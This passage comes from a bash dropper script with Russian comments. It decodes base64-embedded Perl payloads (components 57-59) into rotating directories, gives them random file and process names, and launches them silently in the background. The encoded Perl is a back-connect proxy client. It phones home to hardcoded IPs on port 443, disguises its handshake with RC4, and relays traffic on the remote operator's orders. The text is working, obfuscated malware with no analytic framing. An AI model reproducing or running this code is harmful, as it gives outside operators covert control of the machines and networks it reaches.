CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #57 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #57 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 58 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #58 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #58 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 59 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp 